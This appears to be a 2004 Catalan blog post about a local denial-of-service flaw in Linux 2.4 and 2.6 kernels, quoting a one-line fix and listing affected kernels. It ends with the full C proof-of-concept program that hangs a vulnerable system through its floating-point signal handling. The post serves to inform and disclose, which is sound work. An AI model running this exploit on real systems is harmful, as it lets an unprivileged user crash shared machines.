Fallada de seguretat al nucli de GNU/Linux

Seguretat informàtica Afegir un comentari

A diversos llocs (barrapunto, quands.info…) es fa ressó d’una nova fallada de seguretat a la majoria de nuclis actuals, 2.4.x i 2.6.x. Alguns punts a concretar són, per exemple, que l’exploit és local i no es pot aprofitar per aconseguir permisos de super usuari ni per comprometre les dades del sistema. O sigui, que te pega una penjada a sistema i ja està :)

Com a curiositat geeeeeeens partidista, a la web de l’Associació d’Usuaris GNIX diuen:
“15-06-2004
Se encontró un fallo de seguridad en todos los kernels, excepto algunos de Gentoo, y otros. Un usuario puede ejecutar un programa malicioso y causar que el sistema se pare.”
Anda lo que ha dichooooo xDD

També proposa una senzilla solució:
“Si ya has compilado un kernel solo tienes que cambiar una liña, En el fichero /usr/src/linux/include/asm-i386/i387.h Línea 51. Cambiar : asm volatile(”fwait”); Por: asm volatile(”fnclex ; fwait”);”

La noticia original del bug la podem trobar a aquí, dintre la web de linuxreviews, on hi ha una llista dels kernels afectats, els no afectats i parches per a totes les versions afectades.

Una llisteta:

Afectats

# Linux 2.6.x
o 2.6.7-rc2
o 2.6.6 (vanilla)
o 2.6.6-rc1 SMP (verified by blaise)
o 2.6.6 SMP (verified by riven)
o 2.6.6-debian (verified by arturaz)
o 2.6.5-gentoo (verified by RatiX)
o 2.6.5-mm6 – (verified by Mariux)
o 2.6.5 (fedora core 2 vanilla)
o 2.6.3-13mdk (Mandrake)

# Linux 2.4.2x
o 2.4.26 vanilla
o 2.4.26, grsecurity 2.0 config
o 2.4.26-rc1 vanilla
o 2.4.26-gentoo-r1
o 2.4.22
o 2.4.22-1.2188 Fedora FC1 Kernel
o 2.4.20 RH7.3 (gcc 2.96)
o 2.4.18-bf2.4 (debian woody vanilla)

No afectats
# Linux nudge 2.6.5-1um i686 (the user-mode Linux kernel) Dylan Smith
# Linux Kernel 2.6.4 SMP patched with staircase scheduler Guille
# Linux kernel 2.4.26-rc3-gentoo (gcc 3.3.3)
# Linux kernel 2.4.26_pre6-gentoo (gcc 3.3.2)
# Linux Kernel 2.4.25-gentoo-r1 Charles A. Haines (3G Publishing)
# 2.2.19-kernel

Bé, aquí està tot. Fins i tot el codi maliciós!! Pos és realment senzill:

#include <’sys/time.h’>
#include <’signal.h’>
#include <’unistd.h’>
static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ (”fsave %0 ” : : “m”(fpubuf));
write(2, “*”, 1);
__asm__ __volatile__ (”frstor %0 ” : : “m”(fpubuf));
}
int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, “.”, 1);
return 0;
}

Deixar una resposta

WP Theme & Icons by N.Design Studio
Entries RSS Comments RSS Log in